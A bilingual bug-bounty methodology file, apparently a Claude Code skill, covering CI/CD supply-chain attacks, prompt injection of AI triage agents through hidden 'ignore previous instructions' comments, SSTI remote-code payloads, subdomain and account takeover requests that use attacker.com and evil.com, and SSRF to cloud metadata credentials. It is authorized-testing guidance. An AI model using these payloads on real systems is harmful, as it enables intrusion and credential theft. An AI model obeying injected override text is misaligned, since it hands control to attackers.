  3. RepoJacking — 组织重命名创建重定向。旧名称可用。攻击者注册旧组织名称,创建相同仓库,托管恶意操作。Shopify/unity-buy-sdk使用
    MirrorNG/unity-runner
    → MirrorNG重命名为MirageNet →
    MirrorNG
    可被认领。检查:
    GET /users/<action-owner>
    返回404?可能被接管。
  4. 载荷 stealth — tj-actions memdump.py: 通过
    /proc/PID/maps
    +
    /proc/PID/mem
    从Runner.Worker进程内存中提取密钥,用AES+RSA加密,输出到工作流日志。日志公开可见但加密——只有攻击者有密钥。
终止信号: 完整40字符SHA固定(
uses: actions/checkout@b4ffde65...
)。Dependabot配置为
github-actions
生态系统。组织级操作允许列表。

7. AI Agent Security

7. AI代理安全

Gate question: Is an AI agent (Gemini CLI, Claude Code, Cline, Codex) invoked in a workflow where external users can influence the prompt?
Verification depth:
  1. Trigger + prompt source
    issues: opened
    → AI triage bot reads
    github.event.issue.body
    . The body IS the prompt. HTML comments (
    <!-- ignore previous instructions -->
    ) are invisible in GitHub UI but included in the API response and thus in the AI prompt.
  2. Tool permissions — If the AI agent has Bash/Write/Edit tools and runs with secrets in env, prompt injection = RCE + secret exfil.
    allowed_non_write_users: "*"
    means ANY user can trigger.
  3. Multi-phase chain — Clinejection: prompt injection → AI runs
    npm install
    from attacker commit → Cacheract plants in npm cache → nightly publish restores cache → tokens stolen → malicious version published. A prompt injection finding alone may seem low-severity, but it's a gateway to cache poisoning and supply chain attacks.
Kill signals:
author_association == 'MEMBER' || 'OWNER'
check before AI processing.
--read-only --no-exec
flags on AI CLI.
permissions: {}
at workflow level.
门控问题: AI代理(Gemini CLI, Claude Code, Cline, Codex)是否在外部用户可影响提示的工作流中被调用?
验证深度:
  1. 触发器 + 提示源
    issues: opened
    → AI分类机器人读取
    github.event.issue.body
    。正文就是提示。HTML注释(
    <!-- ignore previous instructions -->
    )在GitHub UI中不可见,但包含在API响应中,因此在AI提示中。
  2. 工具权限 — 如果AI代理拥有Bash/Write/Edit工具并在环境中使用密钥运行,提示注入 = RCE + 密钥泄露。
    allowed_non_write_users: "*"
    意味着任何用户都可触发。
  3. 多阶段链 — Clinejection: 提示注入 → AI从攻击者提交运行
    npm install
    → npm缓存中的Cacheract → 夜间发布恢复缓存 → 令牌被盗 → 恶意版本发布。单独的提示注入发现可能看起来严重程度低,但它是缓存投毒和供应链攻击的入口。
终止信号: AI处理前的
author_association == 'MEMBER' || 'OWNER'
检查。AI CLI上的
--read-only --no-exec
标志。工作流级别的
permissions: {}

8. Permissions / Secrets Hygiene

8. 权限 / 密钥卫生

Not standalone bugs — these are force multipliers. A
code-injection-medium
with
permissions: write-all
is Critical. The same injection with
permissions: { contents: read }
is limited.
Chaining checklist:
  • secrets: inherit
    on reusable workflow call → all org secrets accessible to called workflow
  • permissions:
    block missing → repo default (often write-all)
  • GITHUB_TOKEN
    with
    contents: write
    → CVE-2022-46258 pattern: use Contents API to create new workflow file → new workflow accesses ALL repo/org secrets (the original workflow never referenced them)
Key references:
不是独立漏洞——这些是力量倍增器。带
permissions: write-all
code-injection-medium
是严重的。带
permissions: { contents: read }
的相同注入影响有限。
链攻击清单:
  • 可重用工作流调用上的
    secrets: inherit
    → 所有组织密钥可被调用工作流访问
  • 缺少
    permissions:
    块 → 仓库默认(通常是write-all)
  • contents: write
    GITHUB_TOKEN
    → CVE-2022-46258模式: 使用Contents API创建新工作流文件 → 新工作流访问所有仓库/组织密钥(原始工作流从未引用它们)
关键参考:

SSTI -- Server-Side Template Injection

SSTI -- 服务器端模板注入

Detection Payloads

检测载荷

{{7*7}}          -> 49 = Jinja2 / Twig / generic
${7*7}           -> 49 = Freemarker / Pebble / Velocity
<%= 7*7 %>       -> 49 = ERB (Ruby)
#{7*7}           -> 49 = Mako / some Ruby
*{7*7}           -> 49 = Spring (Thymeleaf)
{{7*'7'}}        -> 7777777 = Jinja2 (Twig gives 49)
{{7*7}}          -> 49 = Jinja2 / Twig / 通用
${7*7}           -> 49 = Freemarker / Pebble / Velocity
<%= 7*7 %>       -> 49 = ERB (Ruby)
#{7*7}           -> 49 = Mako / 某些Ruby
*{7*7}           -> 49 = Spring (Thymeleaf)
{{7*'7'}}        -> 7777777 = Jinja2 (Twig返回49)

Where to Test

测试位置

  • Name/bio/description fields (profile pages)
  • Email templates (invoice name, username in confirmation email)
  • Custom error messages
  • PDF generators (invoice, report export)
  • URL path parameters
  • Search queries reflected in results
  • 名称/简介/描述字段(个人资料页面)
  • 电子邮件模板(发票名称,确认电子邮件中的用户名)
  • 自定义错误消息
  • PDF生成器(发票,报告导出)
  • URL路径参数
  • 搜索查询在结果中反射

Jinja2 -> RCE (Python / Flask)

Jinja2 -> RCE (Python / Flask)

python
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
python
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Twig -> RCE (PHP / Symfony)

Twig -> RCE (PHP / Symfony)

php
{{["id"]|filter("system")}}
php
{{["id"]|filter("system")}}

Freemarker -> RCE (Java)

Freemarker -> RCE (Java)

<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

ERB -> RCE (Ruby on Rails)

ERB -> RCE (Ruby on Rails)

ruby
<%= `id` %>
ruby
<%= `id` %>

Subdomain Takeover

子域名接管

Detection

检测

bash
undefined
bash
undefined

Check for dangling CNAMEs

查找悬空CNAME

cat /tmp/subs.txt | dnsx -silent -cname -resp | grep -i "CNAME" | tee /tmp/cnames.txt
cat /tmp/subs.txt | dnsx -silent -cname -resp | grep -i "CNAME" | tee /tmp/cnames.txt

Look for CNAMEs to: github.io, heroku.com, azurewebsites.net, netlify.app, s3.amazonaws.com

查找指向github.io, heroku.com, azurewebsites.net, netlify.app, s3.amazonaws.com的CNAME

Automated takeover detection

自动接管检测

nuclei -l /tmp/subs.txt -t ~/nuclei-templates/takeovers/ -o /tmp/takeovers.txt
undefined
nuclei -l /tmp/subs.txt -t ~/nuclei-templates/takeovers/ -o /tmp/takeovers.txt
undefined

Quick-Kill Fingerprints

快速终止指纹

"There isn't a GitHub Pages site here"  -> GitHub Pages
"NoSuchBucket"                          -> AWS S3
"No such app"                           -> Heroku
"404 Web Site not found"                -> Azure App Service
"Fastly error: unknown domain"          -> Fastly CDN
"project not found"                     -> GitLab Pages
"It looks like you may have typed..."   -> Shopify
"There isn't a GitHub Pages site here"  -> GitHub Pages
"NoSuchBucket"                          -> AWS S3
"No such app"                           -> Heroku
"404 Web Site not found"                -> Azure App Service
"Fastly error: unknown domain"          -> Fastly CDN
"project not found"                     -> GitLab Pages
"It looks like you may have typed..."   -> Shopify

Impact Escalation

影响升级

  • Basic takeover: serve page under target.com subdomain -> Low/Medium
    • Cookies: if target.com sets cookie with domain=.target.com -> credential theft -> High
    • OAuth redirect: if sub.target.com is a registered redirect_uri -> ATO chain -> Critical
    • CSP bypass: if sub.target.com is in target's CSP -> XSS anywhere -> Critical
  • 基本接管: 在target.com子域名下提供页面 -> 低/中危
    • Cookies: 如果target.com设置domain=.target.com的Cookie -> 凭证窃取 -> 高危
    • OAuth重定向: 如果sub.target.com是注册的redirect_uri -> ATO链 -> 严重
    • CSP绕过: 如果sub.target.com在目标的CSP中 -> 任何地方的XSS -> 严重

ATO -- Account Takeover (Complete Taxonomy)

ATO -- 账户接管(完整分类)

Path 1: Password Reset Poisoning (Host Header Injection)

路径1: 密码重置投毒(Host头注入)

bash
POST /forgot-password
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@company.com
bash
POST /forgot-password
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@company.com

如果重置链接 = https://attacker.com/reset?token=XXXX -> ATO

Also try: X-Forwarded-Host, X-Host, X-Forwarded-Server

也尝试: X-Forwarded-Host, X-Host, X-Forwarded-Server

undefined
undefined

Path 2: Reset Token in Referrer Leak

路径2: 重置令牌在Referrer中泄露

After clicking reset link, if page loads external resources -> token in Referer header to external domain.
点击重置链接后,如果页面加载外部资源 -> 令牌在Referer头中泄露到外部域名。

Path 3: Predictable / Weak Reset Tokens

路径3: 可预测 / 弱重置令牌

bash
undefined
bash
undefined

If token < 16 hex chars or numeric only -> brute-forceable

如果令牌 < 16个十六进制字符或仅数字 -> 可暴力破解

ffuf -u "https://target.com/reset?token=FUZZ" -w <(seq -w 000000 999999) -fc 404 -t 50
undefined
ffuf -u "https://target.com/reset?token=FUZZ" -w <(seq -w 000000 999999) -fc 404 -t 50
undefined

Path 4: Token Not Expiring / Reuse

路径4: 令牌未过期 / 可重用

Request token -> wait 2 hours -> use it -> still works? Request token #1 -> request token #2 -> use token #1 -> still works?
请求令牌 -> 等待2小时 -> 使用它 -> 仍然有效?请求令牌#1 -> 请求令牌#2 -> 使用令牌#1 -> 仍然有效?

Path 5: Email Change Without Re-Authentication

路径5: 无需重新认证即可更改电子邮件

bash
PUT /api/user/email
{"new_email": "attacker@evil.com"}
bash
PUT /api/user/email
{"new_email": "attacker@evil.com"}

If no current_password required -> attacker changes email -> locks out victim

如果不需要current_password -> 攻击者更改电子邮件 -> 锁定受害者

undefined
undefined

Path 6: OAuth Account Linking Abuse

路径6: OAuth账户链接滥用

Can you link an OAuth account from a different email to an existing account?
能否将来自不同电子邮件的OAuth账户链接到现有账户?

Path 7: Session Fixation

路径7: 会话固定

GET /login -> note Set-Cookie session=XYZ -> Log in -> does session ID change? If not = fixation.
GET /login -> 记录Set-Cookie session=XYZ -> 登录 -> 会话ID是否更改?如果没有 = 固定。

Cloud / Infra Misconfigs

云 / 基础设施配置错误

S3 / GCS / Azure Blob

S3 / GCS / Azure Blob

bash
undefined
bash
undefined

S3 public listing

S3公共列表

aws s3 ls s3://target-bucket-name --no-sign-request
aws s3 ls s3://target-bucket-name --no-sign-request

Try common names

尝试常见名称

for name in target target-backup target-assets target-prod target-staging target-uploads target-data; do curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/" done
undefined
for name in target target-backup target-assets target-prod target-staging target-uploads target-data; do curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/" done
undefined

EC2 Metadata (via SSRF)

EC2元数据(通过SSRF)

bash
http://169.254.169.254/latest/meta-data/iam/security-credentials/
bash
http://169.254.169.254/latest/meta-data/iam/security-credentials/

Returns role name, then:

返回角色名称,然后:

Returns AccessKeyId, SecretAccessKey, Token -> Critical

返回AccessKeyId, SecretAccessKey, Token -> 严重

GCP (needs header Metadata-Flavor: Google):

GCP(需要头Metadata-Flavor: Google):

Azure (needs header Metadata: true):

Azure(需要头Metadata: true):

Firebase Open Rules

Firebase开放规则

bash
curl -s "https://TARGET-APP.firebaseio.com/.json"
bash
curl -s "https://TARGET-APP.firebaseio.com/.json"

If data returned -> open read

如果返回数据 -> 开放读取

curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'

If success -> open write -> Critical

如果成功 -> 开放写入 -> 严重

undefined
undefined

Exposed Admin Panels

暴露的管理面板

bash
/jenkins       /grafana       /kibana        /elasticsearch
/swagger-ui.html  /api-docs   /phpMyAdmin    /adminer.php
/.env          /config.json   /server-status /actuator/env
bash
/jenkins       /grafana       /kibana        /elasticsearch
/swagger-ui.html  /api-docs   /phpMyAdmin    /adminer.php
/.env          /config.json   /server-status /actuator/env

Kubernetes / Docker

Kubernetes / Docker

bash
undefined
bash
undefined

K8s API (unauthenticated):

K8s API(未认证):

Docker API:

Docker API:

PHASE 4: VALIDATE

阶段4: 验证

The 7-Question Gate (Run BEFORE Writing ANY Report)

7问题审核门(撰写任何报告前运行)

All 7 must be YES. Any NO -> STOP.
所有7个问题必须是YES。任何NO -> 停止。

Q1: Can I exploit this RIGHT NOW with a real PoC?

Q1: 我能否用真实PoC现在就利用它?

Write the exact HTTP request. If you cannot produce a working request -> KILL IT.
写下确切的HTTP请求。如果你无法生成有效的请求 -> 放弃它。

Q2: Does it affect a REAL user who took NO unusual actions?

Q2: 它是否影响未采取任何异常操作的真实用户?

No "the user would need to..." with 5 preconditions. Victim did nothing special.
没有“用户需要...”的5个前置条件。受害者没有做任何特殊操作。

Q3: Is the impact concrete (money, PII, ATO, RCE)?

Q3: 影响是否具体(资金、PII、ATO、RCE)?

"Technically possible" is not impact. "I read victim's SSN" is impact.
“技术上可能”不是影响。“我读取了受害者的SSN”是影响。

Q4: Is this in scope per the program policy?

Q4: 它是否符合项目政策的范围?

Check the exact domain/endpoint against the program's scope page.
将确切的域名/端点与项目的范围页面进行核对。

Q5: Did I check Hacktivity/changelog for duplicates?

Q5: 我是否检查了Hacktivity/变更日志中的重复项?

Search the program's disclosed reports and recent changelog entries.
搜索项目的已披露报告和最近的变更日志条目。

Q6: Is this NOT on the "always rejected" list?

Q6: 它是否不在“常被拒绝”列表中?

Check the list below. If it's there and you can't chain it -> KILL IT.
查看下面的列表。如果在列表中且无法链攻击 -> 放弃它。

Q7: Would a triager reading this say "yes, that's a real bug"?

Q7: 阅读此报告的分类人员会说“是的,这是真实漏洞”吗?

Read your report as if you're a tired triager at 5pm on a Friday. Does it pass?
把自己想象成周五下午5点疲惫的分类人员,阅读你的报告。它能通过吗?

4 Pre-Submission Gates

4提交前门

Gate 0: Reality Check (30 seconds)

门0: 现实检查(30秒)

[ ] The bug is real -- confirmed with actual HTTP requests, not just code reading
[ ] The bug is in scope -- checked program scope explicitly
[ ] I can reproduce it from scratch (not just once)
[ ] I have evidence (screenshot, response, video)
[ ] 漏洞真实存在 — 用实际HTTP请求确认,而非仅代码阅读
[ ] 漏洞在范围内 — 明确检查了项目范围
[ ] 我可以从头重现它(不仅仅是一次)
[ ] 我有证据(截图、响应、视频)

Gate 1: Impact Validation (2 minutes)

门1: 影响验证(2分钟)

[ ] I can answer: "What can an attacker DO that they couldn't before?"
[ ] The answer is more than "see non-sensitive data"
[ ] There's a real victim: another user's data, company's data, financial loss
[ ] I'm not relying on the user doing something unlikely
[ ] 我可以回答: “攻击者现在能做什么以前不能做的事?”
[ ] 答案不仅仅是“查看非敏感数据”
[ ] 有真实受害者: 其他用户的数据、公司的数据、财务损失
[ ] 我不依赖用户做不太可能的事

Gate 2: Deduplication Check (5 minutes)

门2: 重复项检查(5分钟)

[ ] Searched HackerOne Hacktivity for this program + similar bug title
[ ] Searched GitHub issues for target repo
[ ] Read the most recent 5 disclosed reports for this program
[ ] This is not a "known issue" in their changelog or public docs
[ ] 在HackerOne Hacktivity中搜索此项目 + 类似漏洞标题
[ ] 在GitHub问题中搜索目标仓库
[ ] 阅读此项目最近的5份已披露报告
[ ] 这不是他们变更日志或公共文档中的“已知问题”

Gate 3: Report Quality (10 minutes)

门3: 报告质量(10分钟)

[ ] Title: One sentence, contains vuln class + location + impact
[ ] Steps to reproduce: Copy-pasteable HTTP request
[ ] Evidence: Screenshot/video showing actual impact (not just 200 response)
[ ] Severity: Matches CVSS 3.1 score AND program's severity definitions
[ ] Remediation: 1-2 sentences of concrete fix
[ ] 标题: 一句话,包含漏洞类别 + 位置 + 影响
[ ] 重现步骤: 可复制粘贴的HTTP请求
[ ] 证据: 显示实际影响的截图/视频(不仅仅是200响应)
[ ] 严重程度: 匹配CVSS 3.1评分和项目的严重程度定义
[ ] 修复建议: 1-2句话的具体修复方案

CVSS 3.1 Quick Guide

CVSS 3.1快速指南

FactorLow (0-3.9)Medium (4-6.9)High (7-8.9)Critical (9-10)
Attack VectorPhysicalLocalAdjacentNetwork
PrivilegesHighLowNoneNone
User InteractionRequiredRequiredNoneNone
ImpactPartialPartialHighHigh (all 3)
因素低危(0-3.9)中危(4-6.9)高危(7-8.9)严重(9-10)
攻击向量物理本地相邻网络
权限
用户交互需要需要
影响部分部分高(所有3个)

Typical Scores by Bug Class

按漏洞类别的典型评分

BugTypical CVSSSeverity
IDOR (read PII)6.5Medium
IDOR (write/delete)7.5High
Auth bypass -> admin9.8Critical
Stored XSS5.4-8.8Med-High
SQLi (data exfil)8.6High
SSRF (cloud metadata)9.1Critical
Race condition (double spend)7.5High
GraphQL auth bypass8.7High
JWT none algorithm9.1Critical

漏洞典型CVSS严重程度
IDOR(读取PII)6.5中危
IDOR(写入/删除)7.5高危
身份验证绕过 -> 管理员9.8严重
存储型XSS5.4-8.8中-高危
SQLi(数据泄露)8.6高危
SSRF(云元数据)9.1严重
竞争条件(双花)7.5高危
GraphQL身份验证绕过8.7高危
JWT none算法9.1严重

ALWAYS REJECTED -- Never Submit These

常被拒绝 — 永远不要提交这些

Missing CSP/HSTS/security headers, missing SPF/DKIM/DMARC, GraphQL introspection alone, banner/version disclosure without working CVE exploit, clickjacking on non-sensitive pages, tabnabbing, CSV injection, CORS wildcard without credential exfil PoC, logout CSRF, self-XSS, open redirect alone, OAuth client_secret in mobile app, SSRF DNS-ping only, host header injection alone, no rate limit on non-critical forms, session not invalidated on logout, concurrent sessions, internal IP disclosure, mixed content, SSL weak ciphers, missing HttpOnly/Secure cookie flags alone, broken external links, pre-account takeover (usually), autocomplete on password fields.
N/A hurts your validity ratio. Informative is neutral. Only submit what passes the 7-Question Gate.
缺少CSP/HSTS/安全头、缺少SPF/DKIM/DMARC、单独的GraphQL自省、无有效CVE利用的横幅/版本披露、非敏感页面上的点击劫持、标签劫持、CSV注入、无凭证泄露PoC的CORS通配符、注销CSRF、自XSS、单独的开放重定向、移动应用中的OAuth client_secret、仅DNS-ping的SSRF、单独的Host头注入、非关键表单无速率限制、注销时会话未失效、并发会话、内部IP披露、混合内容、SSL弱密码套件、单独缺少HttpOnly/Secure cookie标志、外部链接损坏、预账户接管(通常)、密码字段自动完成。
N/A会降低你的有效率。信息级是中性的。只提交通过7问题审核门的内容。

Conditionally Valid With Chain

链攻击后可能有效

These low findings become valid bugs when chained:
Low Finding+ Chain= Valid Bug
Open redirect+ OAuth code theftATO
Clickjacking+ sensitive action + PoCAccount action
CORS wildcard+ credentialed exfilData theft
CSRF+ sensitive state changeAccount takeover
No rate limit+ OTP brute forceATO
SSRF (DNS only)+ internal access proofInternal network access
Host header injection+ password reset poisoningATO
Self-XSS+ login CSRFStored XSS on victim

这些低危发现链攻击后成为有效漏洞:
低危发现+ 链攻击= 有效漏洞
开放重定向+ OAuth授权码窃取ATO
点击劫持+ 敏感操作 + PoC账户操作
CORS通配符+ 带凭证的泄露数据窃取
CSRF+ 敏感状态变更账户接管
无速率限制+ OTP暴力破解ATO
SSRF(仅DNS)+ 内部访问证明内部网络访问
Host头注入+ 密码重置投毒ATO
自XSS+ 登录CSRF受害者上的存储型XSS

PHASE 5: REPORT

阶段5: 报告

HackerOne Report Template

HackerOne报告模板

Title: [Vuln Class] in [endpoint/feature] leads to [Impact]
标题: [漏洞类别]在[端点/功能]导致[影响]

Summary

摘要

[2-3 sentences: what it is, where it is, what attacker can do]
[2-3句话: 是什么,在哪里,攻击者能做什么]

Steps To Reproduce

重现步骤

  1. Log in as attacker (account A)
  2. Send request: [paste exact request]
  3. Observe: [exact response showing the bug]
  4. Confirm: [what the attacker gained]
  1. 以攻击者身份登录(账户A)
  2. 发送请求: [粘贴确切请求]
  3. 观察: [显示漏洞的确切响应]
  4. 确认: [攻击者获得了什么]

Supporting Material

支持材料

[Screenshot / video of exploitation] [Burp Suite request/response]
[利用的截图/视频] [Burp Suite请求/响应]

Impact

影响

An attacker can [specific action] resulting in [specific harm]. [Quantify if possible: "This affects all X users" or "Attacker can access Y data"]
攻击者可以[具体操作]导致[具体危害]。 [尽可能量化: “影响所有X用户”或“攻击者可访问Y数据”]

Severity Assessment

严重程度评估

CVSS 3.1 Score: X.X ([Severity label]) Attack Vector: Network | Complexity: Low | Privileges: None | User Interaction: None
undefined
CVSS 3.1评分: X.X ([严重程度标签]) 攻击向量: 网络 | 复杂度: 低 | 权限: 无 | 用户交互: 无
undefined

Bugcrowd Report Template

Bugcrowd报告模板

Title: [Vuln] at [endpoint] -- [Impact in one line]

Bug Type: [IDOR/SSRF/XSS/etc]
Target: [URL or component]
Severity: [P1/P2/P3/P4]

Description:
[Root cause + exact location]

Reproduction:
1. [step]
2. [step]
3. [step]

Impact:
[Concrete business impact]

Fix Suggestion:
[Specific remediation]
标题: [漏洞]在[端点] — [一行描述影响]

漏洞类型: [IDOR/SSRF/XSS/etc]
目标: [URL或组件]
严重程度: [P1/P2/P3/P4]

描述:
[根本原因 + 确切位置]

重现:
1. [步骤]
2. [步骤]
3. [步骤]

影响:
[具体业务影响]

修复建议:
[具体修复方案]

Human Tone Rules (Avoid AI-Sounding Writing)

人性化写作规则(避免AI风格)

  • Start sentences with the impact, not the vulnerability name
  • Write like you're explaining to a smart developer, not a textbook
  • Use "I" and active voice: "I found that..." not "A vulnerability was discovered..."
  • One concrete example beats three abstract sentences
  • No em dashes, no "comprehensive/leverage/seamless/ensure"
  • 以影响开头,而非漏洞名称
  • 像向聪明的开发者解释一样写作,而非教科书
  • 使用“I”和主动语态: “我发现...”而非“发现了一个漏洞...”
  • 一个具体例子胜过三个抽象句子
  • 不要使用破折号,不要使用“comprehensive/leverage/seamless/ensure”等词

Report Title Formula

报告标题公式

[Bug Class] in [Exact Endpoint/Feature] allows [attacker role] to [impact] [victim scope]
Good titles:
IDOR in /api/v2/invoices/{id} allows authenticated user to read any customer's invoice data
Missing auth on POST /api/admin/users allows unauthenticated attacker to create admin accounts
Stored XSS in profile bio field executes in admin panel -- allows privilege escalation
SSRF via image import URL parameter reaches AWS EC2 metadata service
Race condition in coupon redemption allows same code to be used unlimited times
Bad titles:
IDOR vulnerability found
Broken access control
XSS in user input
Security issue in API
[漏洞类别]在[确切端点/功能]允许[攻击者角色]对[受害者范围]造成[影响]
好标题:
IDOR在/api/v2/invoices/{id}允许已认证用户读取任何客户的发票数据
POST /api/admin/users缺少身份验证允许未认证攻击者创建管理员账户
个人资料简介字段中的存储型XSS在管理面板中执行 — 允许权限提升
通过图片导入URL参数的SSRF到达AWS EC2元数据服务
优惠券兑换中的竞争条件允许同一代码无限次使用
坏标题:
发现IDOR漏洞
访问控制损坏
用户输入中的XSS
API中的安全问题

Impact Statement Formula (First Paragraph)

影响陈述公式(第一段)

An [attacker with X access level] can [exact action] by [method], resulting in [business harm].
This requires [prerequisites] and leaves [detection/reversibility].
[具备X访问级别的攻击者]可以通过[方法]执行[确切操作],导致[业务危害]。
这需要[前置条件],并留下[检测/可逆性]。

The 60-Second Pre-Submit Checklist

60秒提交前清单

[ ] Title follows formula: [Class] in [endpoint] allows [actor] to [impact]
[ ] First sentence states exact impact in plain English
[ ] Steps to Reproduce has exact HTTP request (copy-paste ready)
[ ] Response showing the bug is included (screenshot or response body)
[ ] Two test accounts used (not just one account testing itself)
[ ] CVSS score calculated and included
[ ] Recommended fix is one sentence (not a lecture)
[ ] No typos in the endpoint path or parameter names
[ ] Report is < 600 words (triagers skim long reports)
[ ] Severity claimed matches impact described (don't overclaim)
[ ] 标题遵循公式: [类别]在[端点]允许[角色]造成[影响]
[ ] 第一句话用简单英语说明确切影响
[ ] 重现步骤包含确切HTTP请求(可复制粘贴)
[ ] 包含显示漏洞的响应(截图或响应体)
[ ] 使用了两个测试账户(不仅仅是一个账户测试自己)
[ ] 计算并包含CVSS评分
[ ] 建议的修复方案是一句话(不是长篇大论)
[ ] 端点路径或参数名称无拼写错误
[ ] 报告<600字(分类人员会浏览长报告)
[ ] 声称的严重程度与描述的影响匹配(不要夸大)

Severity Escalation Language

严重程度升级语言

When payout is being downgraded, use these counters:
Program SaysYou Counter With
"Requires authentication""Attacker needs only a free account (no special role)"
"Limited impact""Affects [N] users / [PII type] / [$ amount]"
"Already known""Show me the report number -- I searched and found none"
"By design""Show me the documentation that states this is intended"
"Low CVSS score""CVSS doesn't account for business impact -- attacker can steal [X]"

当赏金被降级时,使用这些反驳:
项目方说你反驳说
“需要身份验证”“攻击者只需要一个免费账户(无特殊角色)”
“影响有限”“影响[X]用户 / [PII类型] / [$金额]”
“已知问题”“给我报告编号 — 我搜索过,没有找到”
“设计如此”“给我说明这是预期行为的文档”
“CVSS评分低”“CVSS不考虑业务影响 — 攻击者可以窃取[X]”

RESOURCES

资源

Bug Bounty Platforms

漏洞赏金平台

Learning

学习

Wordlists

词表

Payload Databases

载荷数据库



INSTALLATION (Claude Code Skill)

安装(Claude Code技能)

To use this as a Claude Code skill, copy this file to your skills directory:
bash
undefined
要将此作为Claude Code技能使用,将此文件复制到你的技能目录:
bash
undefined

Option A: Clone the repo and link the skill

选项A: 克隆仓库并链接技能

git clone https://github.com/shuvonsec/claude-bug-bounty.git ~/.claude/skills/bug-bounty ln -s ~/.claude/skills/bug-bounty/SKILL.md ~/.claude/skills/bug-bounty/SKILL.md
git clone https://github.com/shuvonsec/claude-bug-bounty.git ~/.claude/skills/bug-bounty ln -s ~/.claude/skills/bug-bounty/SKILL.md ~/.claude/skills/bug-bounty/SKILL.md

Option B: Direct copy

选项B: 直接复制

mkdir -p ~/.claude/skills/bug-bounty curl -s https://raw.githubusercontent.com/shuvonsec/claude-bug-bounty/main/SKILL.md
-o ~/.claude/skills/bug-bounty/SKILL.md

Then in Claude Code, this skill loads automatically when you ask about bug bounty, recon, or vulnerability hunting.

---
mkdir -p ~/.claude/skills/bug-bounty curl -s https://raw.githubusercontent.com/shuvonsec/claude-bug-bounty/main/SKILL.md
-o ~/.claude/skills/bug-bounty/SKILL.md

然后在Claude Code中,当你询问漏洞赏金、侦察或漏洞挖掘时,此技能会自动加载。

---

Related Skills & Chains

相关技能与链

  • bb-methodology
    — When a hunting session starts and the user is "lost about what to do next." Workflow primitive: this skill is the orchestrator;
    bb-methodology
    is the 5-phase workflow it routes to. Load
    bb-methodology
    FIRST, then this skill names the topic-matched hunt-* skills.
  • hunt-dispatch
    — When PART 0 mode (red team / WAPT) has been confirmed. Workflow primitive: this skill's "what should I do" routing hands off to
    hunt-dispatch
    for the platform fingerprint + skill-set load.
  • web2-recon
    +
    offensive-osint
    — When Phase 1 (recon) starts. Workflow primitive: this skill's "Standard Recon Pipeline" section delegates the live execution to
    web2-recon
    and the operational arsenal (probes / wordlists / regexes) to
    offensive-osint
    .
  • triage-validation
    +
    report-writing
    — When a finding completes Phase 4. Workflow primitive: this skill routes to
    triage-validation
    (7Q gate) → only if all 7 pass, hand off to
    report-writing
    for the platform-specific body.

  • bb-methodology
    — 当挖掘会话开始且用户“不知道下一步该做什么”时。工作流原语: 此技能是编排器;
    bb-methodology
    是它路由到的5阶段工作流。先加载
    bb-methodology
    ,然后此技能命名匹配主题的hunt-*技能。
  • hunt-dispatch
    — 当确认PART 0模式(红队 / WAPT)时。工作流原语: 此技能的“我该做什么”路由将任务交给
    hunt-dispatch
    进行平台指纹识别 + 技能集加载。
  • web2-recon
    +
    offensive-osint
    — 当阶段1(侦察)开始时。工作流原语: 此技能的“标准侦察流程”部分将实时执行委托给
    web2-recon
    ,将操作库(探针 / 词表 / 正则)委托给
    offensive-osint
  • triage-validation
    +
    report-writing
    — 当发现完成阶段4时。工作流原语: 此技能路由到
    triage-validation
    (7Q门) → 只有当所有7个问题通过时,才将任务交给
    report-writing
    生成平台特定的正文。

Operator Notes (Claude-BugHunter)

操作员说明(Claude-BugHunter)

Engagement-derived additions to the vendored foundation. Wisdom from real authorized engagements + Phase 2 verification across this repo's 31+ skill-area live tests. The upstream methodology covers the WHAT; this layer covers the WHEN-IT-ACTUALLY-WORKS and the FAILURE-MODES.
基于参与的补充到供应商基础。来自真实授权参与 + 此仓库31+技能区域实时测试的阶段2验证的智慧。上游方法论涵盖WHAT;此层涵盖WHEN-IT-ACTUALLY-WORKS和FAILURE-MODES。

When to use the orchestrator vs a direct skill

何时使用编排器 vs 直接技能

The orchestrator (this skill) is for the "I don't yet know what bug class to hunt for" case. If you've already identified the candidate — "the response reflects my Host header into a JavaScript src URL, that's cache poisoning" — load
hunt-cache-poisoning
directly. The orchestrator's value is the initial routing from a fuzzy intent ("there's a chatbot, what should I test") to a concrete skill set (
hunt-llm-ai
+
hunt-api-misconfig
).
When in doubt: open the orchestrator FIRST on any new target, let it route, then close the orchestrator and work in the loaded skills. Don't keep the orchestrator loaded all session — it occupies context window that could hold actual probe results.
编排器(此技能)适用于“我还不知道要挖掘什么漏洞类别”的情况。如果你已经确定了候选漏洞 — “响应将我的Host头反射到JavaScript src URL中,这是缓存投毒” — 直接加载
hunt-cache-poisoning
。编排器的价值是从模糊意图(“有一个聊天机器人,我应该测试什么”)到具体技能集(
hunt-llm-ai
+
hunt-api-misconfig
)的初始路由。
如有疑问: 在任何新目标上先打开编排器,让它路由,然后关闭编排器并在加载的技能中工作。不要在整个会话中保持编排器加载 — 它占用的上下文窗口本可以容纳实际探针结果。

Common misuse: loading every hunt-* simultaneously

常见误用: 同时加载所有hunt-*

There are 30+ hunt-* skills in this repo. Each carries a non-trivial context footprint. The orchestrator's job is to pick 2-3 by topic match, not to dump the entire library. If the user says "hunt this SaaS app", do NOT load every hunt-* skill — pick
web2-recon
+
hunt-idor
+
hunt-api-misconfig
(the SaaS-typical trio) and stop there. Add more only when the recon output suggests a specific additional class (e.g., GraphQL endpoints found → add
hunt-graphql
).
此仓库中有30+hunt-*技能。每个都有不小的上下文占用。编排器的工作是按主题匹配选择2-3个,而非转储整个库。如果用户说“挖掘这个SaaS应用”,不要加载所有hunt-*技能 — 选择
web2-recon
+
hunt-idor
+
hunt-api-misconfig
(SaaS典型 trio)并停止。只有当侦察输出表明需要特定额外类别时才添加更多(例如,发现GraphQL端点 → 添加
hunt-graphql
)。

Integration with hunt-dispatch

与hunt-dispatch集成

This skill routes by bug class (topic match). The
hunt-dispatch
skill added in this repo routes by engagement mode (red-team vs WAPT, blackbox vs greybox). They compose:
  1. User says "hunt example.com"
  2. bb-methodology
